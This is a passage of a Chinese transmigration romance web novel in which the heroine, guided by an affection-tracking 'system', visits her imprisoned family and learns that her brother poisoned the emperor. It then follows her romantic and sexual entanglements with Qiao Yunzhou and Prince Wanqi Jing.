王管家最近怪得很,府里的下人不知道他是吃火药了还是怎么的,天刚亮就在王府里乱转。
警惕的眼睛滴溜溜地转,像只巡逻犬似的。
转也就算了,他还挑刺,这不行了,那不好了。
没干过活的人最擅长教别人干活。
搞得人人都把他视作瘟神,打老远有人看见他往这处走,就一路小跑提醒大家回避。
顶着大太阳,王管家带着一身煞气,所到之处连个人影都看不见。
他就这么一路走到了王爷的院子,里头倒是有道人影晃了出来。
这是哪来的下人,懒懒散散的,不知道王爷听觉敏感一点风吹草动都会被惊醒吗!
他刚想上前斥责,发作之际,那吊儿郎当的身影四处环顾,那张脸扭了过来,倒是让王管家瞧了个正着。
“霓婉姑娘?!”
听到呼唤,我看见了一个人站在路中央的王管家,“诶,好巧啊王管家,你知道我的院子往哪儿走吗?”
“你!”他颤巍巍地抬起手指着我,活像得了帕金森,“你为什么会从王爷的院子里出来?”
“......还衣衫不整!”
“哦,”我笑得很单纯,“昨晚我迷路了,就在镜镜的屋里将就了一下。”
“......”
王管家张着能塞下一个鸡蛋的嘴,如同被雷劈了。
完全丧失了语言功能。
怎么周围除了他连个聪明的能喘气的都没有,我皱眉道:“王管家,我的院子到底该往哪儿走?”
看着他这明显指望不上的样子,我准备随便挑条路试试,刚迈出一步,他帕金森晚期的胳膊指向了另一边。
我惊喜道:“谢了。”
系统:“你吓到他了。”
我无所谓道:“那是他胆子小。”
系统顿了一下,问道:“你刚刚为什么那样?”
我:“哪样?亲万俟镜吗?他那么好看,想亲就亲喽。”
系统沉默,周妧的一举一动都在它的监测之下,所以它清楚的感知到了在吻上万俟镜的那一刻她内心的不同。
“你......那你为什么会欣喜。”
这下换我停住了,这都能被发现,还给不给小姑娘一点隐私空间了!
我惊道:“因为他醒了在装睡啊,这是个多好的刷好感值的机会,你还不允许我偷着乐一下吗?”
系统:“......”
就知道不该对她抱有多余的想象空间。
王管家都震惊成那样了,还能把方向指对,下次再见到一定要亲口表扬他,人还怪好的嘞。
红枝见到我后舒了口气,朝我比了个手势,“小姐,乔公子来了。”
乔云州?不会吧!他怎么来了?
兼职京城扫黄大队队长啊他这是。
我压低声音小声问道:“他来多久了?”
“昨晚就来了,”乔云州从门后走了出来,一双阴晴不定的狐狸眼盯住了我,“昨天晚上你去哪儿了?”
我想,我应该去了天堂。
“云州,那你睡在哪儿了?”
我表面害羞实则害怕的低下了头,“......不会是歇在了我的床上吧?”
乔云州:“我一晚上没睡。”
我,“......”
兄弟,你要这么聊天就没意思了,我该怎么告诉你,昨天晚上我跑到别的男人的床上就是为了多一个兄弟,主要是我说了,兄弟你也不会信啊。
乔云州一步步逼近,“怎么不说话了,不好意思说?”
距离被拉近到咫尺之间,近到我能看清他眼里的红血丝以及暗藏的疯狂。
我捧起他的手,抚摸掌心总也不见好的伤痕,“还疼吗?”
他想抽回自己的手,好好和她谈谈她与万俟镜的关系、与皇上的关系、与......自己的关系。
但是他可悲的发现,他根本就没有问的立场,周妧可以随意的住在万俟镜的府上,甚至还选择了入宫成为皇上的......妾。
不会也不需要给他任何解释。
她是自由的,不是他的。
“周妧,”乔云州面色苍白的唤她,“你爱......你喜欢我吗?”
她恍若未闻,还在观察那些丑陋的裂开的血肉,正亦如他的灵魂。
永远不会愈合。
她放到嘴边吹了吹,像小时候每次他被继母打狠了忍不住偷偷抹眼泪一样。
周妧总能找准痛楚,从皮肉抚慰到内里,吹进他伤痕遍布的心尖。
好像永远不会再疼,又好像时时都疼着。
“我不能没有你。”
乔云州听到这句话,一滴眼泪掉了出来,没入她的发间。
又一次问出了曾问过无数遍的问题,“那能不能别出去找别人,只要我。”
回应他的一如既往的漠然麻木,乔云州绝望地看着她曾回答过无数遍的模样
我不懂他眼里浓浓的悲伤,正亦如我不懂爱。
“可是万俟镜能帮我进去大牢里见我爹一面,你能吗?”
乔云州立刻回答:“我能啊。”
“!”我原地表演了个瞳孔地震,“你真能?”
他皱着眉点头,“我真能。”
一个小女孩轻轻地碎掉了,我石化在原地,碎成渣渣。
乔云州恨铁不成钢地叹了口气,“你干嘛去找别人呢,直接来找我啊。”
万俟镜换好衣服,望着合上的窗户,尽管大多时候他的眼睛都是古井无波地落在空中的某个点上,此刻王管家却觉得他在出神。
许久,万俟镜开口问,“她出去了吗?”
王灼脚趾扣地,“回王爷,霓婉......霓婉姑娘回到院子里没多久就同乔云州一起走了。”
万俟镜指尖在自己的唇上蹭了一下,“你觉得她和乔云州是什么关系?”
王灼额头冒汗,像热锅上的蚂蚁,“这,这我看不出来,但应该关系匪浅。”
万俟镜笑了一下,“霓婉说过,她家走投无路才会入宫为奴,既然她认识乔云州,为何乔云州当时没有帮她,此时她出宫了却一再纠缠......”
王灼不敢回答,听着万俟镜继续道:“乔云州不是她的路,她宁愿入宫也不愿求助于乔云州,欠下人情委身于他。”
王灼忙点头,“王爷说的对,那我们要不要派人去查查霓婉姑娘的底细......”
万俟镜在脑海中勾勒着上午她临走前挥手赶走野鸟关上窗户怕吵醒他的画面,没有仔细听王灼的话,或者说听了也根本不在乎。
“王灼,她不愿意欠乔云州的人情却愿意承我的情,你说这意味着什么?”
王管家额头的青筋直蹦,他很想说这意味着那个女人阴险狡诈想要两头通吃,她和乔云州之间绝没有那么简单,王爷你可别一个猛子扎进去再也爬不出来了,但看着万俟镜脸上收敛的淡淡的喜悦最终只说出:
“王爷,那我去打探一下她和乔云州的过往?”
万俟镜又忽略了他的话,道:“区区庶民,一而再再而三的擅闯淮南王府,告诉山月,下次再见不必留情。”
系统提示万俟镜的好感值又加了5,我不知道他是如何自我攻略的,也没工夫去想,因为乔云州竟真直接带我来了大牢。
站在大牢门口,乔云州不知道疏通了什么关系,我们被客气的领着走了进去。
领头的狱卒敬佩道:“周家犯下如此大罪,乔公子还时常来探望,您可真是个有情有义的人。”
乔云州道:“我与周家有旧,来探望是应当的。”
狱卒忙应道:“周将军戎马一生,找到关键证据前上头交代的也是厚待,前些日子有个新来的不懂规矩冒犯了周二少爷,直接叫拖出去打了个半死,咱们下边的人啊那是一千个一万个的上心。”
乔云州:“有劳了。”
狱卒“嘿嘿”笑了,“都是分内的事儿。”
乔云州微微点头,身后的随从立刻给狱卒递上了一根金条,险些晃瞎我的眼。
狱卒点头哈腰的将金条收入怀中,那嘴角都快裂到耳朵了。
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我扯了扯乔云州的袖子,小声道:“给的太多了,你这个傻子!”
他揽住我的腰,凑到我的耳边学我小声道:“也就一人给了一根,算不得什么。”
一人一根?我数了数绕在我们身边的人,捂住“砰砰”直跳的心口,败家啊败家,多少钱禁得起这么造。
我快走两步拉开了和他的距离,他提速追上我,问:“你怎么突然走这么快?”
我气道:“看到你,我就想起那些流水一样飞出去的金条,肉疼。”
乔云州忍俊不禁,“别这么小气,这真不算什么,去年你生辰我送你的那条裙子,得要一小箱这样的金条才买的起。”
一小箱?金条?
什么大傻子会花这么多钱买条破裙子,那裙子金子打的吗,穿上能当仙女吗?!
就算能当仙女也不用啊!我本来就是!
我咬牙:“下次请你直接折现给我!”
“财迷!”,他捏了捏我的鼻子,“不用下次,今天就可以给你。”
“但是你得跟我一起回去拿,我累了,懒得送。”
我两眼放光,抓住了他的胳膊,像是抓住了财神爷,“不年不节的,你真给我啊?”
乔云州抿唇,想到了什么,突然有些不好意思,红着脸说道:“你要我就给,想要什么都可以给你。”
我:“那说好了,你可别忘了,今天晚上我就跟你去数钱。”
“好。”
他笑的狐狸眼都弯了起来,风流惹眼的很。
如果不是这里人太多,我真想上手去摸摸。
不一会就走到了最里面的牢房,虽说潮湿,但上头有个透光的小窗,倒也不算阴暗,里头收拾的很干净。
开锁的动静吸引了里面的人的注意,一个中年男人大步走近,他双目如炬,穿着囚服也难掩周身的气焰,端方的面容上可以窥见年轻时的俊逸。
另一侧同样快步走来了一个俊美的青年,他五官明显细致许多,有些地方长得和我很像。
这应该就是原身的爹和大哥,镇国大将军周越和他的嫡长子周今余。
周越一下子就看到了我,双手扒着栏杆,脑袋贴了上来,似乎要将我盯个窟窿,“小、小妧......”
乔云州朝随从使了个眼色支走狱卒,狱卒也识趣的跟着走开了。
周围没人了,他才开口说:“周叔叔,您和阿妧说说话,我去外面守着。”
我的手一边一个被人握住,周越最快,他率先开口,“小妧,爹真没想到,你会来看爹。”
周今余紧随其后,“小妧,你还没忘了哥,哥很感动。”
乔云州:“......”
我:“......”
乔云州咳嗽了两声走的更远了些。
“爹,你们到底为什么要给皇上下毒啊!”我转动脖子教训另外一个,“哥,周家这次真的连累我了!”
周越激动的大吼一声抱住我,吓得我魂差点掉出来,乔云州又往外走远了些。
周今余眼眶也红了,轻轻在我的头顶摸了摸,“妹妹入宫了也还是我的妹妹。”
周越抬头,两人对视了一眼,都从对方眼里读出了一句话。
嗯,一点没变。
我:“......”
这原生周妧到底是个什么妖魔鬼怪。
等着两人互动完,我问道:“二哥呢?怎么没有看到他?”
“哦,他睡了。”周今余往最里头的草垛上指了指。
我看了看牢房左侧宽敞温暖的大床,又看了看右边整洁柔软的小床。
最后望向那个铺着破褥子躺了个蜷缩起来露出后背硕大“囚”字的不明生物的破烂草垛子。
走近一看,草垛子上的人把脸埋进自己的怀里,不时发出细微的抽泣,睡得很熟。
“他怎么了?”我震惊得问道,“狱卒不是说上头交代要以礼相待的吗?有人打他了?”
“没有,”周越把我拉到小破木桌前,挑了最齐整的一把板凳给我,“你大哥打的。”
周今余取出唯一一个没有缺口的茶盏倒了些粗茶放在我的面前,“最重的那几拳是爹添的。”
??????
我:“啊?”
“你们为什么要打他呀!”
周今余:“因为我没别的事情可以做。”
周越搓了搓手,“谁让他中午偷偷夹走了片儿肉。”
草垛上的人似乎做了噩梦,他抽动了一下慢慢醒了过来。
17. 用家里有个大傻子完成任务
他从草垛上坐起来茫然的看着多出来的那个人,一点点红了眼圈。
“妹妹!”
扑过来的人便是原身的孪生哥哥周拟秋,较之周今余,他和周妧长的更像。
看着和我有七八分相似的眼睛里蓄满了泪水泫然欲泣,我没忍住,一脸恶心的扒开了他的脑袋。
“二哥你别这样。”
周拟秋满腔眼泪鼻涕无处宣泄,孤独弱小又无助的他藏在周妧身后控诉道:
“爹和哥天天打我,一天吃两顿饭却要打我三顿,我每天给爹叠完被子就要给大哥铺床。”
“每次饭来了爹都要从我碗里拨走一半,还连片儿肥肉都不让我吃。”
“晚上我也睡不了觉,得给他俩赶蚊子,稍微弄出点动静爹闭着眼就是一拳。”
我拍了拍他的肩,他疼地一个激灵,拉下衣服,一个肩头被打的青紫。
周今余:“......”
周越:“......”
桌子底下,周越踢了周今余一脚,周今余淡淡道:“我分明打的没有这么重,如果不是爹的话......”
他的脸疼的出现了一瞬的扭曲,差点咬住自己的舌头,扭头,他爹正慈祥地看着他,脚下暗暗用力。
如果自己不是个高冷人设的话,周今余也很想脱下鞋袜让妹妹看看自己的惨状。
我:“哥,你怎么不说话了?”
周今余:“我......”
他的手突然攥住了自己的衣摆。
周老爹的手状似随意地搭在了一条腿上,下面肌肉鼓起,用力道:
“你哥愧疚地说不出话了,今余,你下手也忒狠了,那可是你的亲弟弟!“
周今余吸了口冷气,我可是你亲儿子。
周越的目光戳向我身后的周拟秋,斥责道:“你也是!别什么都赖你大哥,是不是自己傻乎乎在哪儿碰的!”
周拟秋泪眼汪汪,小声道:“在你们的拳头上碰的......”
尤其是你,爹!跟打别人儿子似的一点也不留情面。
“你!”周越看着这不识相的臭小子,抬起胳膊就想再抡一拳。
我幽幽地注视着他,“爹,二哥说的是真的吗?”
周今余周拟秋同时点头。
周越:“......”
没一个孝顺儿子啊!
“爹那是督促他成长,玉不琢不成器,年轻人就是要多一些磨练才行。”
我拍桌子,“那也不能虐待他啊,你看看你跟我大哥的头发,梳的比狗舔的都干净,你再看看我二哥的,叫花子堆里都找不出第二个!”
“他才二十岁,他会说谎吗?”
周越,周今余:他的嘴可怕的很,不仅会说谎,还会偷肉吃。
我苦口婆心地劝道:“他可是我们的家人。”
周越,周今余沉默地低下了头。
我看着他俩良好的认错态度,满意的喝口茶润了润嗓子,“好,现在咱们说正事,到底是谁诬陷咱家给皇上下毒。”
周今余皱眉:“诬陷?没有诬陷,毒就是周家人下的。”
一口茶喷了出去,我被呛地咳了起来,“咳......你说什么......怎么可能是周家下的......咳你们为什么要下毒?”
周越冷哼:“这你就要问问你身后的周家人了。”
什么?!
我眼神利剑般射向蹲在地上摆个鹌鹑样的周拟秋,“这和你有什么关系?”
“这件事就是他一手策划的。”周今余补刀。
事情是这样的。
在一个风和日丽的早晨,周家召开家庭会议。
周越叹息:“妹妹进宫为妃,周家手掌兵权多年,树大招风,妹妹在后宫不知要面对多少腥风血雨,咱家要想个办法保全她。”
嫡长子周今余:“为今之计,只有爹辞官,周家方能全身而退。”
嫡长女周姮:“女儿也觉得爹需得辞官才能保全小妧。”
女婿温彼遥:“我都听阿姮的。”
周越:“......”
这小子,颇有我年轻时的几分风范。
周今余看着温彼遥,不解道:“你每次都听大妹的,为什么还非要参与我周家的决议?”
温彼遥答道:“这你就不懂了舅哥,虽然我精神上已经一切唯夫人马首是瞻,但我身体上还是要为夫人鞍前马后的,她回家我必须得陪着啊。”
此时,没有人注意到坐在最边缘位置上不发一言的周拟秋。
他低着头,大脑高速运转。
虽然大量实践证明他的脑子最好搁置起来不要使用。
但这次他还是为生他养他的周家尽了绵薄之力,在皇后的千秋宴上向皇上下毒。
如果不是皇上警觉,及时打碎了酒盏,他们全家就不用进监狱可以一起上断头台了。
?
???
我想过很多种可能,党派明争暗斗、后宫栽赃陷害,甚至想了是否是皇上从头算计到尾。
千算万算就是没有算到坑货居然是自己人?!
我只想对一刻钟前还在卖惨的周拟秋说一句,你应得的。
我挤出一个笑容,“你伤的是哪边肩膀来着?”
周拟秋哭丧着脸结巴道:“左......左边,妹妹你要是非得打就闪开那儿,真的疼得很。”
我点点头,一副求知欲极强的模样,“你能告诉我,你到底是怎么想到下毒这个办法的吗?”
周拟秋瑟瑟发抖,“就是那天大家都在说辞官,可我觉得爹辞了官还怎么护的住你啊,所以我觉得要是在众目睽睽之下,周家误给皇上下毒,皇上降罪让我们失了圣宠就安全了啊......啊!”
我的手狠狠按在了他青紫的肩头,牢房里响起了杀猪般的叫声。
周拟秋:“啊啊啊啊啊啊!妹妹!我知道错了!真的知道错了!”
我继续使劲,“下次还敢不敢用脑子了?”
周拟秋嚎叫:“不敢了!啊啊啊啊啊啊啊!再也不敢了!”
我松开手后,周拟秋立刻趴回了自己的专属疗伤小草垛,他睁着大眼睛看着面前的三个恶魔。
像是只受惊的小羊羔。
周越后知后觉地意识到一件事,“闺女,你怎么从宫里跑出来的啊?皇上苛待你了吗?你的日子是不是不好过?”
我支着头,“皇上把我降为美人贬入了冷宫,不过我现在已经从冷宫出来了,这件事说来话长,以后有时间再讲吧,爹,现在的问题是我该怎么救你们出来啊?”
“你们不出来,说不定我就得当一辈子美人了。”
这才是重点。
周越叹了口气,“你先忍忍,你娘有你大姐照顾,爹不急着出去,眼下朝廷格局有些复杂,皇上的眼里越来越容不下沙子,世家削权是必然,爹在军中威望高,难保不会被推到台前卷入纷争,届时连累你们兄妹几人。”
我他妈只是想围着几个美男贪贪小财骗骗小色,你们居然还想让我动脑子搞谋略?
那可是另外的价钱!
“知道了爹,这次偷溜出宫已经耽搁了许多时日,皇上多半已经有所察觉,不日我便要回宫了,你和大哥要注意身子,若是有什么需要的......就想办法打二哥一顿发泄一下,千万别憋在心里上火。”
周越眼含热泪,“爹知道,爹知道......”
周今余上前拥了我一下,“别担心我们,你顾全自己就行,你的命是周家的命,天塌下来周家还能帮你扛着,若受委屈......”
周拟秋跌跌撞撞跑了过来,罕见大胆地挤开了大哥,“若受委屈,你就回周家,二哥连累了你,二哥保护你一辈子!”
我看着这三个对周妧关怀备至的男人,顿了许久,将手放在了周拟秋受伤的肩头。
他觉得我多半会使坏,肩膀绷住微微发抖,却依然抱着我。
血脉紧密相连的双生关系让我生出一些没有来处的微妙感觉,双生子的心脏挨在一处同频跳动。
他将我搂的更紧,我恍惚了一下,仿佛很久以前也这么抱过他。
奇怪,我明明不是他妹妹。
乔云州看着从大牢里出来就开始沉默的周妧,小心地问道:“怎么了?不开心了吗?”
我抬头望天,“焦虑啊。”
乔云州以为我担忧父兄,“周家一时半会儿不会有事......”
我打断他,“你说皇上有没有发现我私自离宫了,我回去后不会挨打吧。”
听到这话,乔云州停住了脚步,一脸震惊,“你还要回去?”
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见我理所当然地点了点头,他气笑了,“你不会挨打,会直接被拉出去砍了。”
“啊?”我哭丧着脸,“一日夫妻百日恩,皇上有没有必要这么狠!”
乔云州垂眸敛住情绪,不想理会。
我絮絮叨叨:“皇上这个人虽然看起来挺凶的,但对我也还挺好的。”
“我觉得他应该挺喜欢我的,不至于像你说的那样吧。”
“难不成他有其他在意的女人?你知道后宫里谁比较受宠吗?”
“周妧,”乔云州打断了她喋喋不休的话,“他对的你好不过是皇上的恩赐,一个帝王怎么可能真心喜欢,他当然也没有其他在意的女人,因为除了他自己,他谁都不在意。”
他沉沉地看着我:“所以你呢,你对他是什么感觉?”
看着这个拥有雷霆手段却长了张美人面的年轻帝王,你又是否会动真情。
我没有回答他的话,像是他问了一个我陌不关心的问题,拨弄了一下帘子,自马车上向下望去。
“停车!”视线扫到了一处,我向马夫喝道,“我要下去买两包桂花糖。”
乔云州没有出言制止,马车便很快停在了一旁的空地上,我从马车上跳下来,走到了糖摊子。
这桂花糖香味很浓,焦黄色的糖块里还能看到桂花花瓣。
我从一旁扣下来块边角料塞到嘴里,看着老板笑眯眯地给我包好了两大包。
一转身,马车已经消失不见了。
?
Hello?不是吧!这儿离千梦醉还有老远呢!
乔云州你这个小心眼的男人,老娘找你就是狗!
半个时辰后,我拖着好像不是我的的双腿,仿佛踩在了云端之上,才终于摸到了千梦醉的大门。
一个面熟的侍从赶忙将我迎过去,“公子生气了。”
呵,他把我扔在半道上我还生气呢。
谁还没点小脾气怎么的。
我冷着脸推开他房间的门,乔云州正托腮摆弄着黄花梨木小台上两颗散发着淡淡荧光的夜明珠。
他的手边放着一个半壁长的匣子,里面垒满了金条。
我笑弯了眼贴了过去,“乔乔,你怎么不等我先走了啊,是累了吗?”
乔云州放下手中的珠子,两个夜明珠便顺着边沿往下滚,在掉落之际被我赶忙截住。
我松了口气,还好还好,据说这玩意儿在古代值老些钱了。
他压根不关心珠子,直直看向我的眼底,不想错过一丝一毫的情绪变化。
“你对皇上什么感觉?”
我真的很好奇为什么乔云州守着一筐金条却不往上头看一眼,因为我的眼睛已经被定死在了里面。
“能有什么感觉,他又不是金条。”
乔云州面无表情的盖上了匣子的盖子,遏止了我恶狗看肉骨头一样的眼神。
“重新说。”
妈的,居然用我最在意的东西要挟我,这是什么新训狗方式!
我百爪挠心道:“就那样吧,没什么太大的感觉。”
他穷追不舍,“皇上好看吗?”
我的眼睛不时瞥向那个匣子,急的恨不得抓自己头发,“你不是见过他吗?!你感觉呢?”
乔云州道:“我觉得很好,世间少有。”
我抓心挠肝地附和道:“对啊,他确实好看。”
乔云州将匣子挡了个严严实实,“那你应该看的挺仔细吧。”
他妈的!我内心朝他打了段咏春。
你可以勾引我,但钱不行!
我挑起他的下巴,轻佻的呼吸尽数喷洒在他的脸上。
将灯盏拉近,我的视线羽毛般仔仔细细在他脸上覆过,直到看的他俊颜薄红,如同春光下三月的桃花。
“我就喜欢灯下看美人,你说对不对?”我趴在他耳边轻轻唤他,“乔乔......”
忽明忽暗的灯光使他眼底的情欲仿佛跳动起来,长至腰下的墨发铺在身下的软垫上。
红衣流水般裹在他的身上,轻飘飘的,像是一条红纱缠绕住脆弱的花枝上。
娇艳欲滴的粉白花瓣若隐若现,含羞带怯地披上妖媚。
他向后仰头,挑衅地看着我。
“周妧,空口无凭,拿出你的喜欢让我看看。”
18. 用男人要注意保养完成任务
我手指点在他的唇上,乔云州悄悄伸出小舌,温热在我的指尖一卷而过。
他眼底的东西分明没有那么坚定,抱着什么忐忑似的。
希冀着,又害怕着。
深埋心底的那些肮脏扭曲的画面突然在眼前滑过,乔云州想起了那个让他悔恨交加的夜晚。
他以为他拥有了阿妧,清醒过来却看见了另外一个人的脸。
不是她。
乔云州突然恐惧起来,他眼里浮出绝望的碎光,顺着眼角无声下滑。
她将溅入泥里的他重新扶上枝头,而他十三年的美梦里,每一场都定格在大红喜服之下二人相握的手上。
如果......周妧还愿意要他吗?
乔云州开始抗拒,他呼吸急促,胡乱地将人往外推。
他前后转变太快,不知怎的我好像就成了那个强抢美人的恶霸,抓住他衣领的手都被落下的眼泪打湿。
我反手一个大耳刮子,“啪”的一声脆响,他半边脸都红了,挣扎的动作停了下来,呆呆的捂住被打的脸看着我。
他妈的何方妖孽敢附身到我周妧的饭后点心身上!
识相的赶紧滚,我疯起来自己都害怕!
乔云州的嘴唇抖了抖,“你为什么要打我?”
我没有说话,按着终于老实的他,狠狠吻了上去。
乔云州很纵容我,哪怕我凶狠地攻城掠地,尝到了淡淡的血腥味,他也只是轻轻哼了一声。
呼吸终于被扯开,他唇角莹亮,伏在刻着牡丹的小案台上细喘,红绸半掉不掉的挂在发尾。
除了那处,他浑身软成一片,眸光潋滟的看着我。
“阿妧......”
我褪下外裳叠好垫在他的背后,他不知道要做什么,但也不反抗,平日的张牙舞爪不复存在,乖的要命。
乔云州眼里满满的都是我,他像是走在了条孤独的路上,跟着片不会为他停下的云,执拗地走了好多年。
我托住他的后颈,啄在他的耳侧,碰到哪里便红到哪里。
“......阿妧?”
乔云州不太明白阿妧为什么突然这么亲近他,但他很快就不疑惑了。
我握住了他。
好不容易平复下来的呼吸又被打乱,他捏上了我的手腕,“阿妧,不要,脏......”
掌心温度灼热,我看着他,场面一度静止,只有他沉重的呼吸声。
最终,他本想制止的手覆在我的手上,带着我,重重的动了起来。
在这种事情上,我向来不清楚自己会露出什么表情。
也或许没表情。
衬托出别人的狼狈和难堪。
乔云州的脸更红了,羞恼道:“周......周妧......你就会欺负我......”
就欺负你?想得倒挺美。
我略长的指甲“不小心”的刮了一下,乔云州的腰瞬间打直,欲望被割裂,那晚清醒后的崩溃与现在的满足同时上涌,他瞪大的双眼中扑簌簌的滚落大滴泪珠。
他掌心冰凉,没有了引导我的力气,滑落下去,搭在我的胳膊上。
从他掌控节奏变成了我带着他感受我的节奏。
我凑到他耳边说了几句下流话,风月场上练就的。
乔云州的后脑狠狠的磕在了身后的木架上,却感觉不到疼似的,拼命想起身吻我。
唇瓣相贴的那一刻,他发狠地与我纠缠,甚至忘了呼吸。
不知道过了多久,他浑身一抖,脱力倒了下去,靡红的唇起伏,眼里已经没有了焦距。
我随手扯过一处的帘子擦了擦手,检查他的头有没有受伤,然后倒了杯水,扶起他一点点喂了下去。
“还醒着吗?”
乔云州略略回神,听到这话后,凶狠地抬手捂住我的嘴,“你还说!”
“好好好,我不说我不说。”我捡起掉落在地的红绸发带,“我不说又不代表没有发生,难不成你还能立马忘了不成?”
“我才不要忘,”他小声嘀咕,“只有你才......”
“说我坏话呢?”我扯了扯他的脸。
他拍开了没轻没重的爪子,拿起一旁摆着的铜镜照了一下,“不许捏!皮捏松了就不好看了。”
我轻嗤一声,“你的脸难道是面团捏的不成?”
乔云州不理会,拿出了一瓶翠绿的小玉罐,将里面的膏体仔细的抹在眼下刚刚被泪泡过的地方。
我闻到了一股很香的味道,凑上去嗅了嗅,“这什么啊?”
他:“养颜膏。”
我惊了,“......你一个大男人有没有必要这么讲究啊?”
抹好后收起罐子,他冷笑,“我不讲究,怎么一直好看?”
“我不好看,你还会多看我一眼吗?”
他伸出手指在我的胸口上点了点,“你是个多肤浅的人,你自己心里有数。”
“......”我心里没数。
而且谁肤浅了?这分明是不介意别人乱七八糟的内在!
这叫通透。
我“嘻嘻”地笑着想再在他脸上亲几口,却被他推开了脑袋。
“不要,别一天到晚脑子里就这点事。”
我什么时候!我哪里!
我不就今天,呃,还有前两天,想了一下吗!
你现在傲娇了,有本事昨天晚上别去找我啊!
那我今天肯定玩不了你。
男人,到手了的就不知道珍惜了。
我一言难尽地看着他又拿起铜镜查看脸上的那什么膏有没有被蹭花,再加一条,男人爽过头了也不行,吃水不忘挖井人,他现在已经忘了挖井人满心满眼都是自己的脸了。
何其自私!我唾弃他。
“行吧,那小的告退了。”
万俟镜还在等着我呢,档期比较满,要赶场。
“不许走!”
他拽住我的袖子,险些给我把衣服撕坏。
我大声嚷嚷,“快松手啊!这衣服是万俟镜叫人给我准备的,据说可贵了!”
“我赔,”他不在意道,手上力道未减,“今天你留在这里,哪儿都不许去!”
肩上传来裂帛声,“刺啦”,我受惯性向后踉跄两步,一整条衣袖离我而去,已经到了乔云州的手里。
一条胳膊暴漏在空气中凉飕飕的,我低头看了眼自己狂野的造型,握拳,“你个臭流氓,居然用这种不入流的方式留住我,今天晚上我要是睡在这儿我就是......”
乔云州起身走到里间,纱帘的另一边,他手一挑,红衣滑落,黑发散在雪白肩背上。
他微微侧头隔着朦朦胧胧放下来的纱帐朝我看了一眼。
!!!!!!
哪怕天塌下来,今天晚上我也一定要睡在这儿。
我抬脚跟了进去,像是闻到了奶酪味儿的老鼠。
抱着香喷喷的乔云州,睡眠质量空前的高,第二天日上三杆了我才舍得睁眼。
趁他还睡着,在他金贵的脸上偷亲了好几口。
“你要走了吗?”他迷迷糊糊地往我身上靠。
“嗯,不能再
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拖下去了,”我将缠在他脸上的发丝撩开,“乔乔,你以后别去淮南王府找我了。”
他猛地睁开眼,“为什么?”
我说道:“我要回宫了。”
他愣了一下,随即拉过被子蒙住头,“行,那你以后都别来找我了。”
我钻了进去看着他蒙上水雾的眼睛,在上面亲了亲,“可我舍不得。”
他别开了脸,“那就别走。”
我解释道:“那周家怎么办呢?乔乔,我不是一个人,你和周家都是我的软肋啊。”
这是实话,关键时刻能为我挡刀的只有你们。
要不是你们在,我还真不敢回宫。
乔云州在我的肩上推了一把,“那你想怎么办,你要让我一个人在宫外惦记着你惦记一辈子吗?”
我感激道:“如果你愿意的话。”
乔云州:“......”
“你想的美!我才不等你,你回宫后我就立马找人成亲,不信你试试。”
我一脸惊讶,“真的?”
“真的。”
“真不等我?”
“绝不等你。”
我叹了口气,“那行吧,我回宫后咱俩就一拍两散,等你找到心仪的姑娘就往玉阳宫给我递个信儿,让我看看你俩般不般配,你成亲的时候我也好给你随份厚礼。”
听到“心仪的姑娘”“般配”“成亲”这些字眼,乔云州死死咬住嘴唇,眼里的光亮一点点寂灭,“......好,记住你今天的话。”
我点头,“放心,这点信誉我还是有的,到时候说不定我已经成了贵妃,礼物肯定挑好的送你,怎么也得配得上我娘娘的身份吧。”
乔云州觉得耳边轰鸣,偏偏周妧的声音都格外清晰,她每说一句话,他的脸上就减少一丝血色,直至不能更加苍白。
他从来都不知道,原来只是说话,就可以让他这么疼。
像是有把刀不断插入他的心口,一下一下,搅烂成泥。
他觉得很冷,由内而外,“周妧,如果你可以做到这种地步的话,这些年你欠我的,我还有东西没讨回来。”
我:“什么?”太贵的我可不给。
乔云州强迫自己笑了出来,可伪作的高傲姿态终究被自己的话碾成齑粉,“成亲那天……我要你来观礼。”
血肉飞溅的样子会很丑,但如果不是因为周妧,他从来都不怕丑。就当这辈子有过这么一天,为心爱的人穿上了大红喜服。
这辈子也算值了。
我狠狠地给了他一拳,“想什么好事呢笑成这样,你娶了别人还有脸见我,呸,舍不得打你我还舍不得打她啊,到时候不赏她个百八十棍的我就不姓周!”
“以后谁要是再敢欺负乔云州,姑奶奶不打掉他的牙就不姓周!”
多年前的声音穿越层叠的时间回到原处,乔云州早就不是当年的乔云州,他不必为活着感到不安,为何仍然趴在周妧的肩上哭的不能自已,与当年那个弱小孤苦的孩子如出一辙。
老人说,没娘的孩子命都苦。
少时憋着口气,不信命不认命,可时过境迁,乔云州心头愈发酸涩。
他道:“周妧,你知道你对我来说有多重要吗。”
她漆黑的眼睛看着他,乔云州却觉得安定极了,喃喃:“这辈子都别丢下我,行吗。”
他的灵魂蜷缩成团躲进深处,留下一个光鲜漂亮的空壳子,予取予求,以为这样就能逃避外界的伤害,他依偎着我,幻想亲密无间。
我在他脸上落下了个吻。
“好。”
19. 用即将来临的暴风雨完成任务
我发誓从我踏入淮南王府到现在绝对没有超过三分钟!
所以,我看着挡在我面前的王管家以及他身后不远处我住的院子,无奈道:“镜镜耳朵是真好使啊,这么快就知道我回来了。”
王管家皮笑肉不笑,“那也不如霓婉姑娘的脚好使。”
这是刚从哪个野男人的被窝跑出来的呢。
我假装没听懂他话里的阴阳怪气,刚从乔云州被窝跑出来连杯水都喝不成就要被拉到万俟镜身边。
这个世界慢慢把我逼成了一台不敢喊累的永动机。
鄙人周妧,敢上九天揽月,敢下五洋捉鳖,却不敢不像条狗一样,谁拍手就得跟谁走。
没办法,爱一个人是藏不住的,爱两个的话就得藏好了。
我爱八十个。
万俟镜一个人站在屋檐下,直到我走近了,他也什么反应。
妈的,你这么会拿乔叫我过来干什么?!
见过在一堆人面前装的,没见过想装的时候特意满世界去找观众的。
“镜镜,我好想你啊,”我扑了过去,撞的他往后退了好几步,“你怎么不和我说话呢?”
本人向来是知名九齿钉耙使用冠军。
万俟镜的后背撞在了墙上,突出的肩胛骨硌的他很疼,他却露出了浅浅的梨涡,“昨天晚上为什么没有回来呢?”
“你猜!”我抱着他晃了晃。
他只是笑:“猜不到。”
我撒娇,“你猜猜嘛,猜对了有奖励。”
万俟镜沉吟片刻,“你去了千梦醉?”
我:“......?”
真想给几秒前说奖励的自己一耳光顺便喊一句大哥你的演技也太差了吧。
我翻开心里的小本本记上了一笔,耳光+1,累计一万三千六百五十八。
我:“不对,再猜!”
万俟镜摸了摸我的头,像是在摸一条可爱的野狗,我紧紧拥着他撒娇,仿佛他是我最在意的情郎。
两个人都在假笑。
王管家:“......”
脚趾抓地,有时候活着真挺无助的。
